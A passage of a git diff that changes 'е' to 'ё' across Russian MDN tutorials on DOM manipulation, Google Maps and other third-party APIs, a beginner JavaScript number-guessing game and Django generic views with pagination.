                Это переводит абзац вниз в нижнюю часть раздела. Вы могли подумать, что это сделает вторую копию, но это не так - linkPara - ссылка на единственную копию этого абзаца. Если вы хотите сделать копию и добавить ее также, вам нужно будет использовать {{domxref("Node.cloneNode()")}}.

                +

                Это переводит абзац вниз в нижнюю часть раздела. Вы могли подумать, что это сделает вторую копию, но это не так - linkPara - ссылка на единственную копию этого абзаца. Если вы хотите сделать копию и добавить её также, вам нужно будет использовать {{domxref("Node.cloneNode()")}}.

                Удаление узла довольно просто, по крайней мере, когда у вас есть ссылка на удаляемый узел и его родительский элемент. В нашем случае мы просто используем {{domxref("Node.removeChild()")}}, например:

                @@ -168,7 +168,7 @@ linkPara.appendChild(text);

                Можно управлять стилями CSS с помощью JavaScript различными способами.

                -

                Для начала вы можете получить список всех таблиц стилей, прикрепленных к документу, с помощью {{domxref("Document.stylesheets")}}, который возвращает массив объектов {{domxref("CSSStyleSheet")}}. Затем вы можете добавлять / удалять стили по желанию. Однако мы не будем расширять эти функции, потому что они являются несколько архаичным и трудным способом манипулирования стилем. Есть гораздо более простые способы.

                +

                Для начала вы можете получить список всех таблиц стилей, прикреплённых к документу, с помощью {{domxref("Document.stylesheets")}}, который возвращает массив объектов {{domxref("CSSStyleSheet")}}. Затем вы можете добавлять / удалять стили по желанию. Однако мы не будем расширять эти функции, потому что они являются несколько архаичным и трудным способом манипулирования стилем. Есть гораздо более простые способы.

                Первый способ - добавить встроенные стили непосредственно на элементы, которые вы хотите динамически стилизовать. Это делается с помощью свойства {{domxref("HTMLElement.style")}}, которое содержит встроенную информацию о стиле для каждого элемента документа. Вы можете установить свойства этого объекта для непосредственного обновления стилей элементов.

                @@ -189,7 +189,7 @@ para.style.textAlign = 'center';

                Примечание: Обратите внимание на то, как версии свойств JavaScript стилей CSS пишутся в нижнем регистре верблюжьего стиля (lower camel case), в то время как версии свойств стилей CSS используют дефисы  (например, backgroundColor и background-color). Убедитесь, что вы не перепутали их, иначе это не сработает.

                -

                Существует еще один распространенный способ динамического управления стилями вашего документа, который мы рассмотрим сейчас.

                +

                Существует ещё один распространённый способ динамического управления стилями вашего документа, который мы рассмотрим сейчас.

                1. Удалите предыдущие пять строк, добавленных в JavaScript.
                  2. @@ -204,17 +204,17 @@ para.style.textAlign = 'center'; } </style> -
                2. Теперь мы перейдем к очень полезному методу для общего манипулирования HTML - {{domxref("Element.setAttribute()")}} - это принимает два аргумента, атрибут, который вы хотите установить для элемента, и значение, которое вы хотите для его установки. В этом случае мы укажем имя класса выделения в нашем абзаце: +
                3. Теперь мы перейдём к очень полезному методу для общего манипулирования HTML - {{domxref("Element.setAttribute()")}} - это принимает два аргумента, атрибут, который вы хотите установить для элемента, и значение, которое вы хотите для его установки. В этом случае мы укажем имя класса выделения в нашем абзаце: 
                  para.setAttribute('class', 'highlight');
                4. Обновите свою страницу, и вы не увидите изменений - CSS по-прежнему применяется к абзацу, но на этот раз, предоставив ему класс, который выбран нашим правилом CSS, а не как встроенные стили CSS.
                -

                Какой метод вы выбираете, зависит от вас; оба имеют свои преимущества и недостатки. Первый метод принимает меньше настроек и хорош для простого использования, тогда как второй метод более пурист (без смешивания CSS и JavaScript, без встроенных стилей, которые рассматриваются как плохая практика). Когда вы начнете создавать более крупные приложения, вы, вероятно, начнете использовать второй метод больше, но это действительно зависит от вас.

                +

                Какой метод вы выбираете, зависит от вас; оба имеют свои преимущества и недостатки. Первый метод принимает меньше настроек и хорош для простого использования, тогда как второй метод более пурист (без смешивания CSS и JavaScript, без встроенных стилей, которые рассматриваются как плохая практика). Когда вы начнёте создавать более крупные приложения, вы, вероятно, начнёте использовать второй метод больше, но это действительно зависит от вас.

                На данный момент мы не сделали ничего полезного! Нет смысла использовать JavaScript для создания статического контента - вы можете просто записать его в свой HTML и не использовать JavaScript. Это сложнее, чем HTML, и для создания вашего контента с помощью JavaScript также есть другие связанные с ним проблемы (например, не читаемые поисковыми системами).

                -

                В следующих параграфах мы рассмотрим еще несколько практических применений DOM API.

                +

                В следующих параграфах мы рассмотрим ещё несколько практических применений DOM API.

                Примечание. Вы можете найти наш пример finished version of the dom-example.html на GitHub (см. также live).

                @@ -222,14 +222,14 @@ para.style.textAlign = 'center';

                Активное обучение: динамический список покупок

                -

                До сих пор мы действительно смотрели на использование функций {{domxref("Node")}} и {{domxref("Document")}} для управления документами, но нет причин, по которым вы не можете получить данные из других источников и использовать его в пользовательском интерфейсе. Вспомните нашу простую демонстрацию maps-example.html из последней статьи - там мы извлекли некоторые данные о местоположении и использовали ее для отображения карты вашей области. Вам просто нужно убедиться, что ваши данные в правильном формате; JavaScript упрощает работу, чем многие другие языки, будучи слабо типизированным - например, числа автоматически преобразуются в строки, когда вы хотите распечатать их на экране.

                +

                До сих пор мы действительно смотрели на использование функций {{domxref("Node")}} и {{domxref("Document")}} для управления документами, но нет причин, по которым вы не можете получить данные из других источников и использовать его в пользовательском интерфейсе. Вспомните нашу простую демонстрацию maps-example.html из последней статьи - там мы извлекли некоторые данные о местоположении и использовали её для отображения карты вашей области. Вам просто нужно убедиться, что ваши данные в правильном формате; JavaScript упрощает работу, чем многие другие языки, будучи слабо типизированным - например, числа автоматически преобразуются в строки, когда вы хотите распечатать их на экране.

                В этом примере мы решим общую проблему: убедитесь, что ваше приложение имеет размер как окно, в котором он просматривается, независимо от его размера. Это часто полезно в таких ситуациях, как игры, где вы хотите использовать как можно большую площадь экрана, чтобы играть в игру.

                Для начала создайте локальную копию наших демо-файлов window-resize-example.html и bgtile.png. Откройте его и посмотрите - вы увидите, что у нас есть элемент {{htmlelement("div")}}, который покрывает небольшую часть экрана, на который нанесена фоновая плитка. Мы будем использовать это, чтобы представить нашу область пользовательского интерфейса приложения.

                  -
                1. Прежде всего, давайте возьмем ссылку на div, а затем возьмем ширину и высоту окна просмотра (внутреннее окно, где отображается ваш документ) и сохраните их в переменных - эти два значения удобно содержатся в {{domxref("Window.innerWidth")}} и {{domxref("Window.innerHeight")}}. Добавьте следующие строки внутри существующего элемента {{htmlelement("script")}}: +
                2. Прежде всего, давайте возьмём ссылку на div, а затем возьмём ширину и высоту окна просмотра (внутреннее окно, где отображается ваш документ) и сохраните их в переменных - эти два значения удобно содержатся в {{domxref("Window.innerWidth")}} и {{domxref("Window.innerHeight")}}. Добавьте следующие строки внутри существующего элемента {{htmlelement("script")}}: 
                  var div = document.querySelector('div');
 var WIDTH = window.innerWidth;
 var HEIGHT = window.innerHeight;
                  @@ -238,8 +238,8 @@ var HEIGHT = window.innerHeight; 
                  div.style.width = WIDTH + 'px';
 div.style.height = HEIGHT + 'px';
                  3. -
                3. Сохраните и попробуйте обновить браузер - теперь вы должны увидеть, что div становится таким же большим, как ваш видовой экран, независимо от того, какой размер экрана вы используете. Если теперь вы попытаетесь изменить размер окна, чтобы увеличить его, вы увидите, что div остается одного размера - мы устанавливаем его только один раз.
                  4. -
                4. Как насчет того, чтобы мы использовали событие, чтобы размер div изменялся при изменении размера окна? Объект {{domxref("Window")}} имеет событие, имеющееся на нем с именем resize, которое запускается каждый раз при изменении размера окна - давайте обратимся к нему через обработчик событий {{domxref("Window.onresize")}} и повторяйте наш размерный код каждый раз, когда он изменяется. Добавьте нижеследующую часть кода: +
                5. Сохраните и попробуйте обновить браузер - теперь вы должны увидеть, что div становится таким же большим, как ваш видовой экран, независимо от того, какой размер экрана вы используете. Если теперь вы попытаетесь изменить размер окна, чтобы увеличить его, вы увидите, что div остаётся одного размера - мы устанавливаем его только один раз.
                  6. +
                6. Как насчёт того, чтобы мы использовали событие, чтобы размер div изменялся при изменении размера окна? Объект {{domxref("Window")}} имеет событие, имеющееся на нем с именем resize, которое запускается каждый раз при изменении размера окна - давайте обратимся к нему через обработчик событий {{domxref("Window.onresize")}} и повторяйте наш размерный код каждый раз, когда он изменяется. Добавьте нижеследующую часть кода: 
                  window.onresize = function() {
   WIDTH = window.innerWidth;
   HEIGHT = window.innerHeight;
@@ -260,14 +260,14 @@ div.style.height = HEIGHT + 'px';
                  • Элемент должен появиться в списке.
                  • Каждому элементу должна быть предоставлена кнопка, которую можно нажать, чтобы удалить этот элемент из списка.
                    • -
                  • Вход должен быть опустошен и сфокусирован, чтобы вы могли ввести другой элемент.
                    • +
                  • Вход должен быть опустошён и сфокусирован, чтобы вы могли ввести другой элемент.

                  Готовое демо будет выглядеть примерно так:

                  -

                  Чтобы завершить упражнение, выполните следующие действия и убедитесь, что список ведет себя так, как описано выше.

                  +

                  Чтобы завершить упражнение, выполните следующие действия и убедитесь, что список ведёт себя так, как описано выше.

                  1. Для начала загрузите копию нашего начального файла shopping-list.html и скопируйте его где-нибудь. Вы увидите, что у него есть минимальный CSS, список с меткой, ввод и кнопка, пустой список и элемент {{htmlelement("script")}}. Вы будете делать все свои дополнения внутри скрипта.
                    2. diff --git a/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html b/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html index 4977fe99c7..69af264c07 100644 --- a/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/third_party_apis/index.html @@ -27,7 +27,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs

                    Что такое сторонние API?

                    -

                    Сторонние API - это API, предоставляемые третьими лицами — как правило, такими компаниями, как Facebook, Twitter, or Google — чтобы вы могли получить доступ к их функциям с помощью JavaScript и использовать его на своем собственном сайте. Как мы показали в нашей вводной статье об API, одним из наиболее очевидных примеров является использование Google Maps APIs для отображения пользовательских карт на ваших страницах.

                    +

                    Сторонние API - это API, предоставляемые третьими лицами — как правило, такими компаниями, как Facebook, Twitter, or Google — чтобы вы могли получить доступ к их функциям с помощью JavaScript и использовать его на своём собственном сайте. Как мы показали в нашей вводной статье об API, одним из наиболее очевидных примеров является использование Google Maps APIs для отображения пользовательских карт на ваших страницах.

                    Давайте снова посмотрим на наш пример карты (см. исходный код на GitHub; см. это в действии),  и используем его для иллюстрации того, как сторонние API отличаются от API-интерфейсов браузера.

                    @@ -61,12 +61,12 @@ var myOptions = { var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); -

                    Здесь мы создаем новый объект LatLng, используя конструктор google.maps.LatLng(), который содержит широту и долготу местоположения, которое мы хотим показать, полученные из API геолокации. Затем мы создаем объект опций (myOptions), содержащий эту и другую информацию, связанную с отображением карты. Наконец, мы фактически создаем карту, используя конструктор google.maps.Map(), который принимает в качестве параметров элемент, на котором мы хотим нарисовать карту, и объект опций.

                    +

                    Здесь мы создаём новый объект LatLng, используя конструктор google.maps.LatLng(), который содержит широту и долготу местоположения, которое мы хотим показать, полученные из API геолокации. Затем мы создаём объект опций (myOptions), содержащий эту и другую информацию, связанную с отображением карты. Наконец, мы фактически создаём карту, используя конструктор google.maps.Map(), который принимает в качестве параметров элемент, на котором мы хотим нарисовать карту, и объект опций.

                    Это вся информация, которую API Карт Google требует для построения простой карты. Сервер, к которому вы подключаетесь, обрабатывает все сложные вещи, такие как отображение правильных фрагментов карты для отображаемой области и т. д.

                    -

                    Примечание: Некоторые API обрабатывают доступ к их функциям несколько иначе, требуя от разработчика сделать HTTP-запрос (см. Получение данных с сервера) на определенный шаблон URL для получения определенных данных. Они называются RESTful API, и мы покажем пример этого позже в статье.

                    +

                    Примечание: Некоторые API обрабатывают доступ к их функциям несколько иначе, требуя от разработчика сделать HTTP-запрос (см. Получение данных с сервера) на определённый шаблон URL для получения определённых данных. Они называются RESTful API, и мы покажем пример этого позже в статье.

                    Разрешения обрабатываются по-разному

                    @@ -77,15 +77,15 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); 
                    https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA
                    -

                    Параметр URL, указанный в конце URL-адреса, является ключом разработчика - разработчик приложения должен применять его для получения ключа, а затем включать его в свой код определенным образом, чтобы иметь доступ к функциям API. В случае с Картами Google (и другими API Google) вы подаете заявку на получение ключа на Google Cloud Platform.

                    +

                    Параметр URL, указанный в конце URL-адреса, является ключом разработчика - разработчик приложения должен применять его для получения ключа, а затем включать его в свой код определённым образом, чтобы иметь доступ к функциям API. В случае с Картами Google (и другими API Google) вы подаёте заявку на получение ключа на Google Cloud Platform.

                    Другие API могут потребовать, чтобы вы включили ключ немного по-другому, но шаблон для большинства из них довольно схож. 
                     
                    - Требование к ключу заключается в том, что не каждый может использовать функциональность API без какой-либо подотчетности. Когда разработчик зарегистрировался для ключа, они затем известны поставщику API, и действие может быть предпринято, если они начинают делать что-то вредоносное с помощью API (например, отслеживать местоположение пользователей или пытаться спамить API с множеством запросов для остановки его работы, например). Самое простое действие - просто отменить их привилегии API.

                    + Требование к ключу заключается в том, что не каждый может использовать функциональность API без какой-либо подотчётности. Когда разработчик зарегистрировался для ключа, они затем известны поставщику API, и действие может быть предпринято, если они начинают делать что-то вредоносное с помощью API (например, отслеживать местоположение пользователей или пытаться спамить API с множеством запросов для остановки его работы, например). Самое простое действие - просто отменить их привилегии API.

                    Расширенный пример Карт Google

                    -

                    Теперь когда мы рассмотрели пример API Карт Google и посмотрели, как он работает, добавим еще несколько функций, чтобы показать, как использовать некоторые другие функции API.

                    +

                    Теперь когда мы рассмотрели пример API Карт Google и посмотрели, как он работает, добавим ещё несколько функций, чтобы показать, как использовать некоторые другие функции API.

                    1. @@ -96,7 +96,7 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
                      1. Перейдите в панель управления API-интерфейсом Google Cloud Platform.
                        2. -
                      2. Создайте новый проект, если у вас его еще нет.
                        3. +
                      3. Создайте новый проект, если у вас его ещё нет.
                      4. Нажмите кнопку Enable API.
                      5. Выберите Google Maps JavaScript API.
                      6. Нажмите кнопку Enable.
                        7. @@ -105,10 +105,10 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
                      -

                      Примечание: Получение ключей API, связанных с Google, может быть немного затруднительным: в Менеджере API Google Cloud Platform много разных экранов, и рабочий процесс может немного отличаться в зависимости от того, как у вас уже установлена ​​учетная запись. Если у вас возникнут проблемы с этим шагом, мы будем рады помочь — Свяжитесь с нами.

                      +

                      Примечание: Получение ключей API, связанных с Google, может быть немного затруднительным: в Менеджере API Google Cloud Platform много разных экранов, и рабочий процесс может немного отличаться в зависимости от того, как у вас уже установлена ​​учётная запись. Если у вас возникнут проблемы с этим шагом, мы будем рады помочь — Свяжитесь с нами.

                      2. -
                    2. Откройте исходный файл Карт Google, найдите строку INSERT-YOUR-API-KEY-HERE, и замените ее фактическим ключом API, который вы получили из панели управления Google Cloud Platform API Manager.
                      3. +
                    3. Откройте исходный файл Карт Google, найдите строку INSERT-YOUR-API-KEY-HERE, и замените её фактическим ключом API, который вы получили из панели управления Google Cloud Platform API Manager.

                    Adding a custom marker

                    diff --git a/files/ru/learn/javascript/first_steps/a_first_splash/index.html b/files/ru/learn/javascript/first_steps/a_first_splash/index.html index 9b719c4029..8ea9bbc299 100644 --- a/files/ru/learn/javascript/first_steps/a_first_splash/index.html +++ b/files/ru/learn/javascript/first_steps/a_first_splash/index.html @@ -23,7 +23,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash
            -

            Вам не придется сразу понимать весь код — мы только хотим познакомить вас с базовыми концепциями языка и дать представление о том, как работает JavaScript (и другие языки программирования). В дальнейших статьях вы изучите эти концепции более подробно!

            +

            Вам не придётся сразу понимать весь код — мы только хотим познакомить вас с базовыми концепциями языка и дать представление о том, как работает JavaScript (и другие языки программирования). В дальнейших статьях вы изучите эти концепции более подробно!

            Большинство языковых конструкций JavaScript, с которыми вы познакомитесь (функции, циклы и т.д.), имеют аналоги в других языках программирования — т.е. языки имеют разный синтаксис, но концепции в большинстве случаев те же самые.

            @@ -34,13 +34,13 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash

            Одним из самых трудных и значимых моментов в обучении программированию является не изучение непосредственно синтаксиса языка, а понимание того как применять его для решения реальных задач. Вам нужно начать думать как программист, обычно это означает следующее:

              -
            • Сначала вы разрабатываете логику (структуру, алгоритм выполнения) программы — общие задачи, что и в каких случаях она должна делать, как должна завершиться и т.д., т.е. создаете описание полного цикла её работы.
              • +
            • Сначала вы разрабатываете логику (структуру, алгоритм выполнения) программы — общие задачи, что и в каких случаях она должна делать, как должна завершиться и т.д., т.е. создаёте описание полного цикла её работы.
            • Затем определяете какие конструкции (возможности) языка вам понадобятся и как заставить их работать вместе — для последовательного выполнения всех этапов разработанной логики.
            -

            Всё вместе это потребует тяжелой работы, знания языка, практики в написании кода - и немного творчества. Чем больше вы будете заняты решением практических задач, тем быстрее будете расти в программировании. Мы не обещаем, что вы сразу начнете "думать как программист", но предоставим для этого достаточно возможностей в этой статье.

            +

            Всё вместе это потребует тяжёлой работы, знания языка, практики в написании кода - и немного творчества. Чем больше вы будете заняты решением практических задач, тем быстрее будете расти в программировании. Мы не обещаем, что вы сразу начнёте "думать как программист", но предоставим для этого достаточно возможностей в этой статье.

            -

            Учитывая вышесказанное, на примере простой игры, давайте детально разберем каждый этап создания программы и познакомимся с некоторыми конструкциями языка.

            +

            Учитывая вышесказанное, на примере простой игры, давайте детально разберём каждый этап создания программы и познакомимся с некоторыми конструкциями языка.

            Игра «Угадай число»

            @@ -159,12 +159,12 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash

            {{ EmbedLiveSample('Top_hidden_code', '100%', 320) }}

            -

            Поиграйте в нее - познакомьтесь с игрой, прежде чем двигаться дальше.

            +

            Поиграйте в неё - познакомьтесь с игрой, прежде чем двигаться дальше.

            Давайте представим, что ваш босс дал вам следующую информацию для создания этой игры:

            -

            Я хочу чтобы ты создал простую игру по принципу "Угадай число". Игра должна случайным образом генерировать число от 0 до 100, затем игрок должен отгадать это число за 10 попыток. После каждой попытки игроку сообщают угадал он число или не угадал и если он ошибся, то ему сообщается, что загаданное число больше или меньше того, которое он ввел. Так же необходимо показывать игроку числа из его предыдущих попыток. Игра будет окончена, если игрок угадал число верно или если у него кончатся все попытки. После окончания игры игроку будет дана возможность сыграть в игру еще раз.

            +

            Я хочу чтобы ты создал простую игру по принципу "Угадай число". Игра должна случайным образом генерировать число от 0 до 100, затем игрок должен отгадать это число за 10 попыток. После каждой попытки игроку сообщают угадал он число или не угадал и если он ошибся, то ему сообщается, что загаданное число больше или меньше того, которое он ввёл. Так же необходимо показывать игроку числа из его предыдущих попыток. Игра будет окончена, если игрок угадал число верно или если у него кончатся все попытки. После окончания игры игроку будет дана возможность сыграть в игру ещё раз.

            Поглядев на это краткое изложение, первое, что мы можем сделать - это начать разбивать его на простые действия, максимально думая как программист:

            @@ -173,7 +173,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash
          22. Сгенерировать случайное число между 1 и 100.
          23. Начать запись количества попыток игрока угадать число. Начать с 1.
          24. Предоставить попытку угадать игроку загаданное число.
            25. -
          25. Как только попытка угадать была отправлена, сначала записать ее где-нибудь, чтобы пользователь мог увидеть свои предыдущие попытки
            26. +
          26. Как только попытка угадать была отправлена, сначала записать её где-нибудь, чтобы пользователь мог увидеть свои предыдущие попытки
          27. Далее, проверить было ли это число верным.
          28. Если число верное:
              @@ -185,7 +185,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash
            1. Если число не верное и есть попытки:
              1. Сказать игроку, что он не угадал.
                2. -
              2. Разрешить ему использовать еще попытку.
                3. +
              3. Разрешить ему использовать ещё попытку.
              4. Повысить число попыток на 1.
              2. @@ -199,7 +199,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash
            2. Во время перезапуска игры убедиться, что игровая логика и пользовательский интерфейс полностью сбросились на начальные значения и далее перейти обратно к пункту 1.
            -

            Давайте теперь перейдем к рассмотрению того, как мы можем превратить эти шаги в код, создавая примеры и исследуя возможности JavaScript по ходу.

            +

            Давайте теперь перейдём к рассмотрению того, как мы можем превратить эти шаги в код, создавая примеры и исследуя возможности JavaScript по ходу.

            Подготовка

            @@ -216,7 +216,7 @@ original_slug: Learn/JavaScript/Первые_шаги/A_first_splash

            Добавление переменных для хранения данных

            -

            Давайте начнем. Прежде всего добавьте следующие строки внутри элемента  {{htmlelement("script")}} :

            +

            Давайте начнём. Прежде всего добавьте следующие строки внутри элемента  {{htmlelement("script")}} :

            var randomNumber = Math.floor(Math.random() * 100) + 1;
 
@@ -230,13 +230,13 @@ var guessField = document.querySelector('.guessField');
 var guessCount = 1;
 var resetButton;
            -

            В этом разделе кода устанавливаются переменные, необходимые для хранения данных, которые будет использоваться нашей программой. Переменные - это в основном контейнеры для значений (например, числа или строки текста). Вы создаете переменную с ключевым словом var, за которой следует имя для вашей переменной. Затем вы можете присвоить значение своей переменной знак равенства (=), за которым следует значение, которое вы хотите дать.

            +

            В этом разделе кода устанавливаются переменные, необходимые для хранения данных, которые будет использоваться нашей программой. Переменные - это в основном контейнеры для значений (например, числа или строки текста). Вы создаёте переменную с ключевым словом var, за которой следует имя для вашей переменной. Затем вы можете присвоить значение своей переменной знак равенства (=), за которым следует значение, которое вы хотите дать.

            В нашем примере:

            • Первой переменной - randomNumber - присваивается случайное число от 1 до 100, вычисленное с использованием математического алгоритма.
              • -
            • Следующие три переменные сделаны для хранения ссылок на абзацы результатов в нашем HTML и используются для вставки значений в абзацы, приведенные далее в коде: +
            • Следующие три переменные сделаны для хранения ссылок на абзацы результатов в нашем HTML и используются для вставки значений в абзацы, приведённые далее в коде: 
              <p class="guesses"></p>
 <p class="lastResult"></p>
 <p class="lowOrHi"></p>
              @@ -245,7 +245,7 @@ var resetButton; 
              <label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField">
 <input type="submit" value="Submit guess" class="guessSubmit">
              • -
            • Наши последние две переменные сохраняют количество догадок 1 (используется для отслеживания того, сколько догадок у игрока было), и ссылку на кнопку сброса, которая еще не существует (но позже).
              • +
            • Наши последние две переменные сохраняют количество догадок 1 (используется для отслеживания того, сколько догадок у игрока было), и ссылку на кнопку сброса, которая ещё не существует (но позже).
            @@ -260,7 +260,7 @@ var resetButton; alert('I am a placeholder'); } -

            Функции представляют собой многократно используемые блоки кода, написав один раз вы можете запускать их снова и снова, сохраняя нужный постоянно повторяющийся код. Это действительно полезно. Существует несколько способов определить функцию, но пока мы сосредоточимся на одном простом варианте. Здесь мы определили функцию используя ключевое слово function, за ним идет имя с двумя скобками после него. После этого мы добавляем две фигурные скобки ({ }). Внутри фигурных скобок содержится весь код, запускающийся всякий раз, когда вызываем функцию.

            +

            Функции представляют собой многократно используемые блоки кода, написав один раз вы можете запускать их снова и снова, сохраняя нужный постоянно повторяющийся код. Это действительно полезно. Существует несколько способов определить функцию, но пока мы сосредоточимся на одном простом варианте. Здесь мы определили функцию используя ключевое слово function, за ним идёт имя с двумя скобками после него. После этого мы добавляем две фигурные скобки ({ }). Внутри фигурных скобок содержится весь код, запускающийся всякий раз, когда вызываем функцию.

            Код запускается вводом имени функции, за которым следуют две скобки.

            @@ -270,7 +270,7 @@ var resetButton; 
            checkGuess();
            -

            Вы должны увидеть предупреждение, в котором говорится "I am a placeholder"; в нашем коде мы определили функцию, которая создает предупреждение, когда ее вызывают.

            +

            Вы должны увидеть предупреждение, в котором говорится "I am a placeholder"; в нашем коде мы определили функцию, которая создаёт предупреждение, когда её вызывают.

            Заметка: В дальнейшем вы намного больше узнаете о функциях.

            @@ -278,9 +278,9 @@ var resetButton;

            Операторы (Operators)

            -

            Операторы JavaScript позволяют нам проводить проверки, математические расчеты, объединять строки вместе и выполнять другие подобные действия.

            +

            Операторы JavaScript позволяют нам проводить проверки, математические расчёты, объединять строки вместе и выполнять другие подобные действия.

            -

            Сохраните наш код и обновите страницу показанную в браузере. Откройте консоль JavaScript, если вы еще её не открыли, чтобы попробовать ввести текст из приведенных ниже примеров — введите каждую строчку из столбца "Пример", нажимая Enter после каждого из них, и посмотрите какие результаты они возвращают. Если у вас нет доступа к инструментам разработчика в браузере, вы всегда можете использовать простую встроенную консоль, показанную ниже:

            +

            Сохраните наш код и обновите страницу показанную в браузере. Откройте консоль JavaScript, если вы ещё её не открыли, чтобы попробовать ввести текст из приведённых ниже примеров — введите каждую строчку из столбца "Пример", нажимая Enter после каждого из них, и посмотрите какие результаты они возвращают. Если у вас нет доступа к инструментам разработчика в браузере, вы всегда можете использовать простую встроенную консоль, показанную ниже:

          29. Мы расширяем наш базовый шаблон и переопределяем блок content.
          30. Мы используем условие if для показа того, или иного содержимого.
          31. Мы используем циклы for того, чтобы пробежаться по элементам (объектам) в соответствующих списках.
            32. -
          32. Мы получаем доступ к полям контекста при помощи "дот-нотации" (поскольку мы использовали обобщенный класс отображения детальной информации, то контекст имеет имя book; также можем использовать имя object)
            33. +
          33. Мы получаем доступ к полям контекста при помощи "дот-нотации" (поскольку мы использовали обобщённый класс отображения детальной информации, то контекст имеет имя book; также можем использовать имя object)

    Одной интересной вещью, которую мы не видели ранее, является функция book.bookinstance_set.all(). Данный метод является "автомагически"-сконструированным Django для того, чтобы вернуть множество записей BookInstance, связанных с данной книгой Book.

    @@ -433,7 +433,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' <!-- итерации по каждой копии/экземпляру книги --> {% endfor %} -

    Этот метод создан, потому что вы, на стороне "многим" данной связи, объявили поле ForeignKey (один-ко многим). Поскольку вы ничего не объявили на другой стороне ("один") данной модели (то есть, модель Book "ничего не знает" про модель BookInstance), то она не имеет никакой возможности (по умолчанию) для получения множества соответствующих записей. Для того, чтобы обойти эту проблему, Django конструирует соответствующую функцию "обратного просмотра" ("reverse lookup"), которой вы можете воспользоваться. Имя данной функции создается в нижнем регистре и состоит из имени модели, в которой был объявлен ForeignKey (то есть, bookinstance), за которым следует _set (то есть функция, созданная для Book будет иметь вид bookinstance_set()).

    +

    Этот метод создан, потому что вы, на стороне "многим" данной связи, объявили поле ForeignKey (один-ко многим). Поскольку вы ничего не объявили на другой стороне ("один") данной модели (то есть, модель Book "ничего не знает" про модель BookInstance), то она не имеет никакой возможности (по умолчанию) для получения множества соответствующих записей. Для того, чтобы обойти эту проблему, Django конструирует соответствующую функцию "обратного просмотра" ("reverse lookup"), которой вы можете воспользоваться. Имя данной функции создаётся в нижнем регистре и состоит из имени модели, в которой был объявлен ForeignKey (то есть, bookinstance), за которым следует _set (то есть функция, созданная для Book будет иметь вид bookinstance_set()).

    Примечание: Здесь мы используем  all() для получения всех записей (по умолчанию). Вы, наверное, могли бы использовать метод filter() для получения подмножества записей в коде, но, к сожалению, вы НЕ можете применить данный вызов в шаблоне, потому что вы не можете передать в нем (в шаблоне) аргументы в функцию.

    @@ -447,7 +447,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'

    Это случилось потому что, paginator object (далее объект постраничного вывода) ожидает видеть некую упорядоченность ORDER BY при запросе к базе данных. Без этого, он не сможет гарантировать правильный вывод полученных данных!

    -

    Данное руководство пока не дошло до описания Pagination (пока, но скоро будет), и поскольку вы не можете использовать функцию sort_by() и передавать параметр (по той же причине, что и filter()) вы должны выбрать один из трех вариантов дальнейших действий:

    +

    Данное руководство пока не дошло до описания Pagination (пока, но скоро будет), и поскольку вы не можете использовать функцию sort_by() и передавать параметр (по той же причине, что и filter()) вы должны выбрать один из трёх вариантов дальнейших действий:

    1. Добавить атрибут ordering внутри Meta-класса объявленного в вашей модели.
      2. @@ -474,7 +474,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'

      Конечно же, поле не обязательно должно иметь имя last_name: оно может быть любым.

      -

      И последнее, но не окончательное, вы должны сортировать по атрибуту/колонке, которая была проиндексирована (уникально, или нет) в вашей базе данных для того, чтобы избежать проблем с быстродействием. Конечно, это не является необходимым в данном примере (и мы, вероятно, забегаем далеко вперед), если у нас такое небольшое количество книг (и пользователей!),  но это необходимо помнить для будущих проектов.

      +

      И последнее, но не окончательное, вы должны сортировать по атрибуту/колонке, которая была проиндексирована (уникально, или нет) в вашей базе данных для того, чтобы избежать проблем с быстродействием. Конечно, это не является необходимым в данном примере (и мы, вероятно, забегаем далеко вперёд), если у нас такое небольшое количество книг (и пользователей!),  но это необходимо помнить для будущих проектов.

    Как это теперь выглядит?

    @@ -497,7 +497,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'

    Если у вас всего лишь несколько записей в базе данных, то наша страница вывода списка книг будет выглядеть отлично. Тем не менее, когда у вас появятся десятки, или сотни записей ваша страница станет значительно дольше загружаться (и станет слишком длинной для комфортного просмотра). Решением данной проблемы является добавление постраничного вывода (Pagination) к вашему отображению списка, который будет выводить ограниченное количество элементов на каждой странице.

    -

    Django имеет отличный встроенный механизм для постраничного вывода. Даже более того, он встроен в обобщенный класс отображения списков, следовательно вам не нужно проделывать большой объем работы, чтобы воспользоваться возможностями постраничного вывода!

    +

    Django имеет отличный встроенный механизм для постраничного вывода. Даже более того, он встроен в обобщённый класс отображения списков, следовательно вам не нужно проделывать большой объем работы, чтобы воспользоваться возможностями постраничного вывода!

    Отображения

    @@ -507,13 +507,13 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path' model = Book paginate_by = 10 -

    Как только у вас появится более 10 записей в базе данных отображение начнет формировать постраничный вывод данных, которые он передает шаблону. К различным страницам данного вывода можно получить доступ при помощи параметров GET-запроса — к странице 2 вы можете получить доступ, используя URL-адрес: /catalog/books/?page=2.

    +

    Как только у вас появится более 10 записей в базе данных отображение начнёт формировать постраничный вывод данных, которые он передаёт шаблону. К различным страницам данного вывода можно получить доступ при помощи параметров GET-запроса — к странице 2 вы можете получить доступ, используя URL-адрес: /catalog/books/?page=2.

    Шаблоны

